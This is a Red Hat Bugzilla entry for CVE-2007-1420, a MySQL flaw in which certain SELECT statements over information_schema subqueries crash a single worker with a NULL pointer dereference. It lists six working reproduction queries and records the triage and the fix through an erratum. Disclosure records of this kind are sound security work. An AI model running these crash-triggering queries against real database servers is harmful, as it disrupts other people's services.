Bug 232603 - (CVE-2007-1420) CVE-2007-1420 Single MySQL worker can be crashed (NULL deref) with certain SELECT statements
CVE-2007-1420 Single MySQL worker can be crashed (NULL deref) with certain SE...
Status: CLOSED ERRATA
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
unspecified
All Linux
low Severity low
: ---
: ---
Assigned To: Tom Lane
David Lawrence
http://www.securityfocus.com/bid/2290...
impact=low,source=gentoo,reported=200...
: Reopened, Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2007-03-16 08:16 EDT by Red Hat Product Security
Modified: 2016-03-04 05:49 EST (History)
2 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2008-07-25 04:14:03 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Lubomir Kundrak 2007-03-16 08:16:35 EDT
Description of problem:

A NULL pointer dereference occurs after issuing the SELECT statements
below. Security impact is very limited, as only one worker crashes, leaving
the server running and ready for service. Additionally, an attacker must be
authenticated and permitted to execute arbitrary SELECT statements.

Version-Release number of selected component (if applicable):

Does not affect MySQL 4.

How reproducible:

Always, by an authenticated user.

Steps to Reproduce:

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns
ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol')
  
Actual results:

The session closes prematurely, fault message in the log file.

Expected results:

I expected it to crash. I like this section of a bug report.
Comment 1 Tom Lane 2007-03-16 11:23:26 EDT
The mysql 5.0.36/37 release notes mention something like twenty different
crashing bugs fixed.  What's your rationale for harping on this particular one?
Comment 2 Lubomir Kundrak 2007-03-19 05:16:27 EDT
tgl: a CVE. pardon me for forgetting to mention it in the Summary.
Comment 7 Mark J. Cox (Product Security) 2007-08-21 06:55:38 EDT
moving to security response parent bug, we only create tracking bugs once it has
been decided we will fix this issue in a particular release.
Comment 9 Mark J. Cox (Product Security) 2007-09-10 04:21:39 EDT
        Red Hat does not consider this to be a security issue. It requires an
        attacker to be authenticated and after triggering the crash the
        database server will restart and continue to service requests.
Comment 11 Red Hat Product Security 2008-07-25 04:14:03 EDT
This issue was addressed in:

Red Hat Enterprise Linux:
  http://rhn.redhat.com/errata/RHSA-2008-0364.html

Comment 12 Red Hat Bugzilla 2009-10-23 15:07:05 EDT
Reporter changed to security-response-team@redhat.com by request of Jay Turner.

Note You need to log in before you can comment on or make changes to this bug.